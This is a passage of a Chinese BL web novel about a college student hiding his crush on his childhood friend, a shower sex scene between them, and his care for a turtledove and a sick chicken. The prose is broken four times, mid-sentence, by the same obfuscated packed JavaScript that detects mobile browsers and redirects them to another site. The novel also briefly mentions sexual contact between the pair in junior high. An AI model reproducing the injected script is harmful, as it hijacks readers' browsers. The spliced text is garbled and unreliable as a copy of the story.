同学们一人一句的议论,到了中午饭点,他们叫曲柚一起去吃食堂。 曲柚摇摇头,对他们笑道:“你们去吧,我得回去喂斑鸠了,舍友会给我带饭的。” “哦哦忘了,曲柚也是当鸟爸的人了,有责任在身啊。” “辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189048|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛苦,柚子爸。” “那我们先走了啊,你要是无聊中午就来我们宿舍玩!我们天天中午组团吃鸡,可热闹了。可惜小马是个手残,每次上号不是被我们骂就是被队友骂哈哈哈。” “靠啊,有人性么,骂我还笑我。” 一群人嘻嘻哈哈地走出教室,曲柚笑着冲他们摆摆手,收好书包后,却没有出门。 空荡荡的讲课教室只剩他一个人,敞开的门外能听见中午学生们走动说话的声音,隐隐绰绰。外面很热闹。 曲柚坐在教室阴影处,觉得一点也开心不起来。 他掏出手机,给有段时间没联系的朋友发去消息。 【柚怎么了:小白,在么?帮帮】 【白财广进:?】 曲柚深吸一口气,拇指停在屏幕键盘上一会儿,开始斟酌措辞。 【柚怎么了:是这样,我有个朋友,他喜欢上一个同性朋友,但这个同性朋友厌同怎么办?】 【白财广进:……你换个男的喜欢试试呢?】 曲柚心中一突,赶紧在对话框输入“不是我……” 没等他输入完发出去,【对方撤回一条消息】 【白财广进:你朋友换个男的喜欢试试呢?】 【白财广进:输入法的锅,输入少字了】 曲柚:…… 曲柚迟疑了一下,觉得小白应该不会骗自己。算了,就当小白相信是他朋友的事了。 【柚怎么了:换人现在不太可能,现在问题是,我朋友不想失去这个同性朋友,又怕被朋友发现自己喜欢他而疏远。】 【柚怎么了:怎么办?(小狗落泪.jpg)】 对面显示了半天“对方正在输入……”,终于发过来一条消息。 【白财广进:虽然我没谈过恋爱,搞不懂你们男同之间的情感拉扯,但你不想失去这个朋友又不想被发现喜欢他的话……不如表现得像个直男吧?】 【白财广进:直男之间的相处你想不到的gay,我们宿舍天天有一对儿直男晚上躺一起打游戏,熄了灯也不回各自的床,为了方便就凑在一被窝里睡。他俩还各自有女朋友,清清白白,正正直直。】 曲柚读下来,目瞪狗呆,直男们可以躺在一个被窝里睡觉么? 还有这种好事? 不对,曲柚眉头一皱,急忙回复。 【柚怎么了:不是我,是我朋友啊。】 【白财广进:……】 【白财广进:我输入法跳字了,没输入全,我打的就是你朋友。(好脾气微笑.jpg)】 曲柚点点头,自己的秘密没有暴露,那就好。 他现在有了新思路,曲柚抬头看看窗外,顿时觉得心情舒畅,天高云淡,阳光灿烂,生活充满了奔头。 【柚怎么了:谢谢小白!我朋友让我谢谢你!(小狗献花.jpg)】 【白财广进:没事,能帮到你就好(微笑面具.jpg)】 【对方撤回一条信息】 【白财广进:没事,能帮到你朋友就好(微笑面具.jpg)】 【柚怎么了:……你输入法是该调教一下了哦】 * 当天晚上,曲柚在宿舍喂完了鸟,卓正阳正要去卫生间洗澡。 曲柚站起来,凑过去一拍卓正阳的肩膀,皮肉相触,发出清脆的一声“啪”。 正在看论文的肖承风被声音吸引,视线不经意瞥过去。 曲柚一脸积极,笑得跟一条谄媚的小狗似的,“卓哥,待会儿我给你搓澡呗?你也帮我搓搓,我搓不到后背!” 齐昊缓缓扭头看过去,手指悬停在屏幕上,不管手机游戏里的队友狂敲问号。 卓正阳一脸惊喜地来了劲,抬起胳膊一把搂住了曲柚肩膀,一边吹嘘一边把人往卫生间带,“嗨呀弟弟你有眼光啊,我跟你讲我搓澡很有技术的!我爹说我搓得比外面的澡堂师傅都干净!你早该找我做搓澡搭子了,咱俩干脆一起去洗吧,一起搓省事儿!” “哈哈好啊,我也体验一把五星级搓澡师的手法~” 肖承风缓缓皱眉,平日里深黑淡漠的眼睛里,涌现出真切的疑惑。 14. 我也不喜欢男人 014/东山花灯 齐昊眼看那俩就勾肩搭背一起进卫生间了,明明这事儿跟他没有关系,但他就感觉像是自己的弟弟即将被人占便宜似的,坐立不安,忍不住扭头看肖承风。 哥们?你就干坐着看啊? “曲柚。”肖承风果然出声了,他甚至站了起来。他坐不住了! 这样才正常,齐昊放松下来,举起手机一心二用开始看戏。 曲柚一顿,回过头来,神色很正常,像是有人问他“吃了么”那样轻描淡写,“啊?怎么了哥?” 肖承风一贯的面无表情,但黑沉的丹凤眼直直盯着他,目光在他和卓正阳之间扫视,如鹰隼审视猎物,低沉的男低音透着冰碴般的冷漠,“你们要干什么?” 没人知道道曲柚内心已经紧张到想打嗝。他好想移开视线,他不要看竹马质问他的眼神! 曲柚拼命告诉自己:我只是做了所有直男都会做的事,我不虚!曲柚,勇敢点,直面竹马的脸! 今天能和舍友一起洗澡,明天和男同学勾肩搭背,后天就能面不改色地拍竹马的屁股了!以后他做什么肖承风都不会起疑的! “哎,肖神,有什么事儿待会儿再说,没看我们正要搓澡呢?”卓正阳神经大条到什么都没察觉到,依旧搂着曲柚的肩膀,脸上洋溢着不知道自己是老几的笑容。 他侧脸低头和曲柚对视一下,“都说一起搓过澡就是掏心掏肺的交情,我们哥俩今天就赤诚相见一番!” 曲柚看舍友这么给力,也跟着放松下来,跟着不知死活地点头重复,“掏心掏肺。” 竹马冷冷道:“别掏了,过来,检查你最近高数作业。” 肖承风淡定地斜靠在桌子边,盯着某个眼神突然失去高光的小狗,“前期学不懂,后面的知识关联度会加强,到时候你越学越不明白。” “别等到期末了再来找我给你复习。那时候我可能也要准备我的学科作业和考试,顾不上你。” 笑容缓缓从曲柚脸上消失。转移到玩游戏的齐昊唇边。 糟糕,被人拿捏住要害了啊。 曲柚开学后还没找肖承风补过课。大一学习的专业课,涉及动物学的课程他并不怕,真正让他头大的是必学的高等数学的基础课程——微积分、概率论和线性代数。 老师授课的速度非常快,才第一周,他就已经陷入上课微茫然的状态了。同学们有的提前学过,有的脑子转得快、一点就透,在课堂上和老师互动流畅,唯有他经常会提笔茫然,不知道该记什么,老师说上一句还没写完,下一句就已经讲完了。 曲柚不得不承认,他是需要竹马帮他补数学的,只是最近心情乱糟糟,他躲肖承风还来不及,自然没找人补课。 这会儿被人提醒,自然也没了什么“伪装直男”的心思,而是真情实感开始为自己的数学感到头秃了。 曲柚像被霜打了的花骨朵,蔫巴巴地低下头,“哦”了一声,放开卓正阳往自己桌前走,不情不愿掏出自己的作业本和笔记本,就像以前每次他找肖承风补课要准备的东西一样。 “哎?”卓正阳意外地叫了声,对上肖承风的视线后,他瞬间噤声了。男人冰冷的视线已经透着不耐烦了。 卓正阳见好就收,不再故意逗人了,举起手投降,“行行没事儿,我自己去洗,你们好好学习。” 服了你们这些弟控,连弟弟跟别的兄弟洗个澡都不行。 曲柚坐在肖承风身边,被按着结结实实学了一个小时,竹马帮他把开学后学的知识点捋出来清晰的大纲脉络,标出相关的公式,还把他作业里的错题给他讲明白了。 期间曲柚没有产生任何旖旎的心思。 数学使人清心寡欲。学一小时数学,好比念了十遍清心咒。 改完错题的曲柚蔫巴着收拾作业本,被竹马一手拎着后衣领,拽进了卫生间,“还有不到半小时就熄灯了,我跟你一起洗。” “哎哎?不用了哥,你洗吧,我明天再洗!”曲柚大惊失色。 “不行,不洗干净怎么上床睡觉。不是要掏心掏肺跟人搓澡么?我给你搓也一样。” 不等曲柚反抗,卫生间的门“咔嚓”关上了,门里面传出模糊的声音,接着就是花洒打开的淋水声。 卓正阳坐在床头,等人都进去了才敢探出头来和齐昊对视一眼,做贼似的小声讨论,“不是吧,我怎么觉得不太对啊。” 难得,卓正阳这种铁直男都察觉出来了,齐昊哼笑了一声,“哪里不对?” “他对自己弟弟是不是有点太专横了?当哥的就可以这么随便摆弄弟弟么?”卓正阳皱眉,为曲柚打抱不平。 “呵,早点睡吧。别瞎操心了。”齐昊无语地拉上床帘,躺下闭眼。 紧闭门板的卫生间里,淅沥的花洒水声一直没停,偶尔有断续模糊的声音,也听不清说话声。 宿舍里先躺下的两人倒是伴着这股白噪音,先睡过去了。 齐昊觉浅,容易被外界声音惊醒,他感觉自己睡过去没多会儿,就听见开门声了。 他迷迷糊糊挑开一点床帘,看见肖承风从卫生间出来,正在从曲柚的衣柜的拿浴巾。他还穿着进去的那身衬衫和长裤,但衣服看起来都湿透了,还在往下滴答水。 淋湿的衣服紧紧裹在男生的身上,把他的宽肩窄腰和肌肉线条勾勒得一览无余,腰下紧翘的臀连着长腿,看起来和男模也没什么区别。齐昊眼睛亮了亮,随即淡定下来。 你们直男,就会乱来,这可不是里面那个小可爱能承受的画面啊。 在被肖神发现之前,齐昊收回手,闭眼继续沉入黑甜乡。 * 第二天一上午,曲柚人都是恍惚的。 还好是周六,他们不用上课,曲柚就缩在宿舍床上沉思了半天。他在想,昨天到底发生了什么,怎么会发展到那个地步的。 曲柚用手摸了摸自己的脖子、胳膊、胸膛,再往下……所触之处皮肤干爽滑腻,可见是给搓干净了。 但是……怎么能…… 他把脸埋进被单里,头顶冒热气。 他怎么能对着竹马鸡鸡起立了啊!!(惨叫) 他是变态么?!他在竹马眼里还算是直男么?! 就说了他自己洗就可以了啊,肖承风非得进来干什么! 竹马不脱自己的衣服,就给曲柚扒光,上下正反都搓了个干净。 曲柚生无可恋地抱头,发出一声无奈的叹息,小心的、把声音咬在被单间,不让它逸散,吵到别人。 滑腻的沐浴液随着男生温热的大手,涂遍曲柚的皮肤,把他刺激得站不住想哭。 怎么能这样。控制不住自己喜欢的人就站在面前,身上被水淋湿,暴露出优越的身材来。 肖承风把头发捋到脑后时,凌厉的眉骨被水侵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189049|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿,右眼角的一粒红痣漫不经心地缀在眼下,他抬眼,目光锁定自己,那种瞬间无意识喷张的雄性荷尔蒙让曲柚头皮发麻,尾骨酸胀,过电一般。 有什么东西立刻就精神起来了。 曲柚记得自己脸热得厉害,分不清是热气熏蒸的,还是自己没出息红了脸,双手无措地交错遮挡在自己身前。 但很显然没有遮挡住。他听见竹马从鼻腔发出的哼笑,“害什么羞,你哪里我没见过。第一次不也是找我帮忙的。”光看身材已经可以称作是男人的竹马伸手,把他裹住。 曲柚哆嗦着呜咽了一声,他转过身想藏起来。但被人紧跟着凑过来,两下动作,他死死咬着唇,双手撑在冰冷的瓷砖上,软在了对方胸前。 “不……不是……”曲柚眼角溢出泪珠,唇边字句模糊,他害怕被卫生间外的舍友听到什么,更怕自己在竹马心里的直男形象就此大打折扣。 从模糊的浴室镜子看过去,漂亮纤细的少年缩在男人身前,面容模糊,只能看到他以一种被迫的姿势靠在男人怀里。暖玉般细润的雪白皮肉透出些粉红来,被温暖的水浇得像上了层釉,看起来咬一口都能流出甜美的桃汁。 曲柚难耐地咬着自己的手指。 肖承风从他身后把他咬的都是细小牙印的手拽出去,漫不经心地笑他,“不舒服?” “不……我不喜欢,男人……”脸颊飞粉,眼角如春花般溢泪的漂亮少年如是说道,迷蒙的眸中有雾一般的困惑,“哥,我们这样,算什么?” 身后的人顿了顿,声音冷静又自持,“我也不喜欢男人。算兄弟互助,不用多想。” “唔……好。”曲柚也沉默了,竹马没有多想就好。 之后的时间,两人格外沉默。 曲柚很快就完事了,等他提出要帮助肖承风的时候,却被竹马以时间不够拒绝了。 竹马帮他找过来浴巾,给他吹干头发让他去睡觉,自己却开个手机点灯摸着黑洗完了澡。 曲柚此刻窝在被子里复盘下来,总觉得有哪里不对,但又说不好是哪里。 肚子在咕咕叫,但曲柚决定不理会,他摸出手机给他的军师朋友发消息。 【柚怎么了:小白,在么?救救】 【白财广进:?】 【柚怎么了:还是我朋友,他为了伪装直男,准备和同舍男生一起去洗澡,被他喜欢的人拦下了】 【白财广进:到这里没有问题】 【柚怎么了:拦下后,他喜欢的人给他补习了一小时数学,然后带他一起进卫生间洗澡了】 【柚怎么了:我朋友喜欢的人没有一起脱衣服,他给我朋友搓了澡,帮他解决了一下生理问题,然后让我朋友自己去睡觉,然后他一个人洗自己的澡】 【白财广进:……?你确定他是直男?】 【柚怎么了:肯定是啊,我朋友说,他暗恋的人说他们这样那样只是互相帮助而已。但我朋友想帮他,他又不肯】 【柚怎么了:小白,这是直男之间的正常操作么?我朋友以前做直男的时候,没有遇到过这种情况啊?】 【白财广进:直男是这样的,他们确实会互相帮助。你别多想,既然那个狗东西说这是正常互助,不如让他多服务几次】 【白财广进:你先爽够再说】 【对方撤回一条消息】 【白财广进:你朋友先爽够再说】 15. 方便帮人看看鸡么? 015/东山花灯 曲柚小脸通黄。 什么,什么叫多服务几次,先爽够再说?这是正经人能说出的话么? 听上去很爽是没错,但这不合适吧?? 光是看着文字就忍不住脸蛋冒烟的曲柚忍不住一下按灭了屏幕,把手机扣在床上。求助小白果然还是太激进了么。 他想,还是维持自己原先的决定,和竹马慢慢拉开距离比较好。 直男的兄弟互助太可怕了,一不留神就做起来他觉得只有亲密关系里才能做的事了。虽然他的初次确实是找竹马帮忙的,但那时候他才初中,还是懵懂的年级,根本不清楚找竹马帮自己弄出来的意义是什么。 现在明白了,他却不能再揣着明白装糊涂了。 太饿了,一看时间已经十点多了,曲柚摸了摸又在咕咕叫的肚子,挣扎了不到三秒,把头探出床帘,小狗做贼似的看了一圈宿舍。 很好,对面齐昊的床铺已经拉开帘子了,床上的被子很整齐地叠在一起。卓正阳的床帘还垂着,一只手耷拉在床边,目测还在睡觉。 再往和自己对头的床一看,竹马的床帘拉开,下面座椅上的书包也不见了,应该是出去了。 好了,安全。 一颗毛躁的脑袋缩回去,曲柚穿好衣服,轻手轻脚下了床。 踩上拖鞋,曲柚一抬眼就看见自己桌子上摆了个保温饭盒。他停了两秒,走上前打开一看,是还温热的皮蛋瘦肉粥和6个薄皮透油的小笼包,还有两个已经剥壳的茶叶蛋,蛋白上印着网状酱油痕迹,一看就浸透了味。 又帮他舒服,又给他备饭吃。竹马,你为什么要这样,你这样会让我很为难的。 刚下定决定要远离竹马的曲柚喉头吞咽,去卫生间洗漱后,身体十分诚实地回到桌前,在饭前坐下。 肉粥和包子的香气像把钩子,勾得曲柚的头越来越低。 吃了这顿饭应该也没什么问题吧?反正竹马不喜欢男的,他只是吃兄弟一顿饭而已,兄弟之间互相带饭不是很正常的事么。 跟什么过不去都不要跟饭过不去。 曲柚犹豫了没几秒,端起粥碗痛快畅吃。 “嗯?好香?……哪位好心的爹给带饭了么?”沙哑迷糊的声音从曲柚背后上方传来。 卓正阳迷迷瞪瞪睁开眼,打了个睡饱懒觉的哈切,还没往外看就闻到食物的香气了。 曲柚睁大眼,下意识捂紧自己的粥碗,他轻声哄道:“没饭了!哥你再睡会儿,待会儿我给你带午饭啊。” “哦,谢谢爹,我要二食堂猪排饭配俩狮子头。”卓正阳完全没有意识到自己在说什么,点完饭闭眼就睡。 身后又传来有规律的呼吸声,曲柚松口气,把最后一个小笼包塞进嘴里,嘴巴一擦,饭盒一盖,换上出门的鞋。 经过肖承风的桌前时,不经意瞥了一眼,曲柚才发现,竹马桌上的笔记本电脑和书本都在,似乎和昨晚辅导他功课时没什么区别。 连黑色的笔袋都放在桌上,没有拉开拉链。 曲柚疑惑了一瞬,哎?没有带书和电脑,那竹马背着空书包出去干嘛了? 不过这个问题只在他脑袋里停留了不到一秒,就被抛之脑后。他哥做事肯定有他哥的道理,他犯不上瞎操心。 曲柚走到装鸟的保温箱前。上手喂了两天,小斑鸠似乎已经认识给他喂饭的人了,没等曲柚打开保温箱的玻璃门,潦草小鸟团子就急不可待地凑到门边,急促地“咕咕”叫起来。 似乎用力过猛,凑过来的时候鸟头猛冲,把鸟喙磕在玻璃上一下,把嘴撞疼了,鸟崽又往回缩了缩,歪头贴近玻璃,小黑豆眼看着曲柚,继续“咕咕”催饭。 曲柚想笑,他伸手竖起食指忒在嘴边,对小鸟嘘了一声。“别叫啊,屋里还有哥哥睡觉呢,把他吵醒了说不定就把你一口吃了。” 斑鸠团子掀了掀毛乎乎的翅膀,缩起脖子不叫了,只是还用眼睛看着玻璃外的人。 曲柚笑笑,兑好鸟的口粮用针筒吸上来,打开保温箱的玻璃门,把老实缩着的斑鸠抓在手里拿出来。 刚被“一口吃掉”威胁过的幼鸟不知道是否真的听懂了,此时非常温顺地任由曲柚抓着,也没乱扑腾翅膀,眼睛紧紧盯着曲柚另一只手上拿着的喂食针筒,努力伸长了脖子。 可以说十分渴望饭饭了。 曲柚坐在凳子上,一只手笼住小毛团,顺便用拇指轻轻叩开鸟喙,另一只手迅速把喂食器怼进小鸟嘴里。 斑鸠叼住出粮口猛猛进食。 曲柚感觉今天小鸟吃饭的速度明显比前几天刚来宿舍的时候快了很多,这是向好的表现,他心里也轻松了一些。 小鸟的成长是很快的,对于一只斑鸠来说,出生后半个月左右就可以飞行了,刚好这个时候它们也会独自进食了,不再需要亲鸟或饲养者的持续喂养。 他能陪这只小鸟的时间,也就这么长。 对于一些存有来说,遇见就注定着离别。 男生垂下眸子,温柔地注视着手里的小鸟团子,半拉开窗帘的宿舍一半浸在光里,一半在昏暗中。 曲柚坐在明暗交界的地方,垂着头,脖颈修长,阳光照亮他的一只眸子,清澈如琥珀,无忧无虑;另一只眸子却如同覆盖了一层悲伤的阴影,氤氲绕绕,带着一丝无法言喻的伤感。 所以,和人离别这件事,似乎也没有那么难以接受了。 * 喂过鸟后的曲柚抓着斑鸠团子出门晒太阳,顺便等中午食堂开饭。 周六,学校没什么人在外面闲逛,于是靠近农学院那边成片的杨树绿化林和休息长亭,就成了曲柚一个人的自由空间。 阳光很足,曲柚坐在长椅一边撑了一把黑伞,把还不会飞的鸟团子放在长椅的另一端,让小鸟沐浴在阳光下。 斑鸠很显然格外喜欢暖呼呼的光,它伸展着两只羽毛还未丰满的翅膀,把自己摊开在阳光下,眯着眼睛让阳光烘干它身上的每一根细羽。 曲柚觉得这场景很好玩,于是单手给小鸟拍了个照,想也没想就发给肖承风。 【柚怎么了:【图片.jpg】哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189050|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哥你看,小鸟在眯眼晒太阳!一动不动地举着翅膀,太搞笑了】 【小狗捂肚子爆笑.jpg】 反应过来的曲柚:怎么就这么手快发给他了,不是已经决定远离竹马了!他不会以为我看到有意思的就分享给他,是暗戳戳喜欢他吧?(内心戏剧烈上演.jpg) 盯着屏幕看了五分钟也没等到回复的曲柚:是我想多了。(心平静得像亖了一样.jpg) 他蔫蔫地垂下眼,按灭了手机屏,目光落到仰着脖子畅享阳光的小鸟身上。 开始对鸟说话。 “直男是不会因为给兄弟发了条信息就患得患失的对不对?” “我当了十八年直男,以前从来不会想这么多有的没的,现在怎么也成了伤春悲秋胡乱联想的人了?” 斑鸠不懂人类的事,挪挪爪子换了个面,让阳光烘烤自己胸膛的碎羽。 “如果可以像你一样活得简单就好了。” “吃了睡,睡了吃,醒来还能晒太阳。” 斑鸠抖抖翅膀,歪头用喙理了理翅膀,“咕”了一声。 “大胆,还敢顶嘴!我说的有错吗!”曲柚用手指戳了戳小鸟的背羽。 鸟(对眼):这什么?啃啃。 手机突然响起来,是微信电话的铃声。 曲柚抽回手不逗鸟了,他带着自己都不知道的一股热切,赶紧掏出手机。 一看,是班上同学打过来的电话。 好吧,有点没由来的失落,他接通电话。 “喂,怎么了?” 电话那边的同学声音里带着着急和一点不好意思,“柚子!大周六打扰你了,江湖救急!你方便帮人看看鸡么!” 昨晚刚刚被人看过摸过鸡的曲柚瞬间想歪:“……啊?” 你们直男…… 曲柚闭了下眼,沉痛的希望自己下次脑子转这么快是在数学考场上。 “是我认识的一个农学院学长的鸡,大概是15周左右的青年鸡,说是中暑了,学长和我试了好几种办法都没什么效果,感觉快要过去了。如果真死了,学长又要延毕一年了。” “啊,我可以看看,但不保证能活啊,”曲柚打着伞张望四周,“你们在哪儿?我刚好在学校里的杨树林休息长廊这里呢。” “太好了柚哥,你能来我就安心点了。没事儿,学长说了,成败天定,努力过后实在不行他就再读一年。我们在农学院一栋13层,你到楼下后给我打电话,我提前去接你。” “好,到了联系你。”曲柚挂断电话,一看时间,才十一点,距离食堂开饭还有半个小时。 他站起身,对斑鸠低声说了句,“走啦,我们去看一只小鸡,下午再带你出来晒太阳啊。” “警告你,别拉我手上啊。” 斑鸠被他握在手里,动了动翅膀,没挣扎。晒过的幼鸟羽毛温暖蓬松,手感非常好,看起来很乖。一点也不像吃了就随心随地大小拉的直肠子鸟。 曲柚就这么单手握住小斑鸠,让它仰躺在自己手心,往农学院走去。 16. 你别走啊小柚子! 016/东山花灯 曲柚走到农学院一栋的楼下时,正准备给同学电话联系一下,就看见同学从楼里对他挥着手小跑过来了。 “你可算来了,柚子,来来来。”吕学义着急地想上手拉他,没碰到又收回手,只走在曲柚前面给他带路。 “哎,你还带了这只小斑鸠出来了啊?”曲柚走过来的时候一只胳膊弯曲举在腰间,吕学义走近了才发现他手上握着一只棕黄色的小鸟。 之前帮曲柚去瑶光楼下给鸟找窝的时候,吕学义也在其中,自然知道后来是曲柚把失巢的小鸟给收留了。 “嗯,你给我打电话的时候,我本来在带它晒太阳的。”曲柚低头看了一眼手心里非常乖巧的鸟崽,唇边不自觉带出一模笑意,“它挺乖的,不会乱飞。” 吕学义也忍不住笑,“那是他现在还没学会飞吧,你看之后它会飞以后闹不闹腾。” 闲聊了几句,趁着上电梯的时间,曲柚抓紧问,“鸡现在什么状态?” “目前就是张着嘴急促呼吸,它还老张翅膀,已经站不起来了。”说起鸡的事,吕学义眼中也带上了一抹焦急,赶紧说他知道的情况。 “学长说他把鸡从东区生态林那边的鸡舍掏出来的时候,它还能勉强站着,就是走路打摆子,原本想着带回实验室吹会儿空调就好了,结果情况没有好转。” “我也看了,从宿舍带了吹风机给鸡吹了会儿冷风,结果鸡还是站不起来。”吕学义一脸纳闷,“我这紧急降温的操作应该没做错吧?” 曲柚沉默了一下,拍了下同学的肩膀,“按理来说没错的,等会儿我看看吧。” 听描述好像没什么问题,中暑的禽类及时带到凉快通风的地方就行了,但这样冷热交替太过突然,可能也会引发一些问题。 被吕学义带进实验室后,一个微胖的高大男生守在一个纸箱子身边,一脸灰暗地看过来。 尽管看起来他情绪很低落,但还是礼貌对曲柚点头笑了一下。“谢谢你过来啊同学,我本来都打算放弃了,学义非说他有个大佬同学,要摇人过来,没准能把我的鸡给捞回来。” 他眼睛有点发红,有些自嘲地笑道:“没事儿,大不了就是多读一年,我从选这个专业一开始就有这种觉悟了,毕业论文可能会因为各种原因出问题死掉,只不过没想到这种“幸运”还真降到我头上了。” 曲柚对男生笑笑,“哥,先别急着想延毕的事,我先看看鸡的情况再说。学义刚在跟我说了大概情况了,我心里有点数。” “对啊,学长你先别丧气,柚子真的很厉害的。”吕学义见不得好友这幅样子,推了他一把。 “那麻烦你了。”学长勉强笑了一下,看到曲柚手里拿的斑鸠,也没说什么,从旁边赶紧拿了一个快递空盒。 “这是你养的斑鸠?需要放一下么?”他把盒子递到曲柚旁边的桌子上。 “刚好需要,谢谢哥。”曲柚冲学长一笑,少年人面容精致艳丽,弯起的琥珀色桃花眼却带着春风的柔和,中和了容貌那股锋利的漂亮,让学长看得愣了一下,只局促点了点头,没出声。 曲柚把小鸟放进盒子里,点了点他毛绒绒的脑袋,“乖乖待着,别闹啊。” 小斑鸠张了张被人禁锢了一路的翅膀,站到纸盒子上两秒后,痛快拉了一泡。 安置完鸟,曲柚走到桌子上,看向纸箱里的鸡。他之前没有养过禽类,但一些基本的病症医理还是知道点的。 纸盒里的鸡并不算大,只是青少年鸡的体型,两脚朝上瘫倒在底部,被吹风机吹过的羽毛乱七八糟,翅膀无力地伸展开,张着嘴呼吸急促,两只脚很无力地蜷缩着。 鸡脖子有些僵硬地歪着,鸡冠无力地耷拉下来,能看到鸡的眼膜已经发红了,眼睛水光莹润,好像在哭一样。 曲柚小心上手摸了摸鸡,他怕鸡叨他,就小声念叨,“别咬我啊,我帮你看看怎么回事”。剥开散乱的羽毛,表皮发凉,但摸的时间稍长一点,就能感受到皮□□温很高。 曲柚微微皱眉,“你是怎么啦?”感觉就是中暑反应啊。 鸡突然打了个喷嚏,鼻孔处冒出一个透明的圆形气泡,随着喷嚏结束轻轻碎裂。然后依旧张着嘴呼吸,腹腔跟着急速起伏。 曲柚“啊”了一声,微微睁大了眼,扭头让凑在旁边一起看鸡的吕学义赶紧关空调。 “啊?为什么关空调啊,它中暑了不应该降温么?”吕学义将信将疑,但还是去拿遥控器。 学长也看着曲柚,脸上有疑惑,但不敢问。 曲柚点点头,有点想笑,“之前是中暑了,但它现在又有点感冒症状了。这屋子空调再开下去,很快它感冒就会加重了。” 吕学义张了张嘴,找到遥控器,看着上面19°的温度,赶紧按了关的按钮。“不是,这么快就感冒了?怎么看出来的啊?它所有症状都是中暑的,感冒不得流鼻涕咳嗽么?” “我也是猜测的,骤冷骤热都有可能刺激它患病。而且我看它眼睛结膜发红了,刚才又打了个喷嚏,才觉得估计是中暑后突然温度降低又感冒了。”曲柚有些哭笑不得。 学长听懂了,这个长相格外好看的学弟似乎真有点东西,这么快就看出问题了,他眼睛终于里燃起一丝希望,“那还能治么?” 他忍不住坐直,双手紧张地握在一起。他的毕业论文结果,还有救么?虽然刚才说的洒脱,什么早就做好了延毕的心理准备,但能顺利毕业,谁想多拖一两年再毕业啊? “我试试哦,也不保证呢。”曲柚点点头,也不说大话。 “好好好,需要什么你说,我马上配合准备。”学长站到曲柚旁边,关切地看着纸盒子里的鸡。 大佬的“试试”基本就等于“应该没问题”,吕学义也看到了希望,兴奋起来,“我也一起配合!” 曲柚点点头,唇边含着笑意,“好!既然如此,拯救小鸡第一步!” 在他身边站着的两人顿时挺起胸膛站直! “把鸡挪到窗户边,打开窗户。” “好的!”两人瞬间行动,学长抱着装鸡的纸盒快步走到实验室窗边,吕学义也小跑着跟过去,把窗户打开。 室外的热空气瞬间顺着打开的窗子翻涌进了实验室。 吕学义有点疑惑地扭头问曲柚,“把鸡放这里不会再热到么?” 曲柚慢慢走过来,“先把它的感冒症状解了再说。中暑本身好治,及时把鸡挪到凉快通风的地方就行,这屋里刚才开了空调比较冷,刚好能中和室外的热空气,窗户边的温度对它来说就是刚好舒服的。” 学长点点头,有些担心地看着自己没什么变化的鸡,“这样就可以了么?” 曲柚看了一眼手机上的时间,“刚好现在食堂开了,去食堂打一点绿豆汤带回来吧,记得加点糖。” “哦哦,你要给鸡喂绿豆水解暑啊?加点糖也好,补充能量。”吕学义先明白过来,他点点头,“我去吧,顺便把咱们几个的饭都打出来。” “学弟,你吃什么。”学长把饭卡递给吕学义,“今天谢谢你们过来帮忙,我来请你们吧。” “不用的哥,谢谢心意啦,我答应了舍友中午还得回去给他带饭呢,我一会儿自己去一趟食堂就行。” “哎,不就一份饭,一起给你室友买了就是。”学长一挥手,示意吕学义赶紧往外走,“你客气什么,快点说要给你舍友带什么饭,不然就让学义随便买了啊。” 曲柚张张嘴,无奈地笑了笑,“那就谢谢学长请客了,我的那份随意,帮我额外带一份二食堂猪排饭配两个狮子头就好。” 吕学义比了个ok的手势,就出门了。 趁着这段时间,曲柚又让学长找了喂水的针筒和食用盐,给鸡喂了点淡盐水。 鸡浑浊无光的眼睛一亮,叨住针管,猛猛喝水!耷拉的鸡冠子都跟着晃悠悠颤动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189051|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 曲柚眼皮一跳,忍不住问,“你们刚才有喂它喝水么?” 学长沉默了一下,转头看他,一脸恍然,“我靠,刚才光顾着给它降温了,忘喂水了。” 曲柚:“……”这鸡能撑到他过来,也是很顽强了。 等了一会儿,鸡胸腹起伏的速度变慢,肉眼可见地呼吸缓慢下来了。 